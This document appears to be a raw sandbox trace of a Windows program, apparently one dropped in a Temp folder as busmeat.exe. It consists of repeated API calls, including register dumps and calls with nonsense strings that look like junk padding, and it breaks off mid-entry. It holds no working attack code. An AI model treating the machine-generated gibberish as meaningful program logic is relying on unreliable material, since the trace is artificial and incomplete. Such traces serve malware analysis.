	[0066.126] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.126] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.127] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.127] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.127] GetConsoleCP () returned 0x0
	[0066.127] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.127] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.129] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.129] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.129] GetConsoleCP () returned 0x0
	[0066.129] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 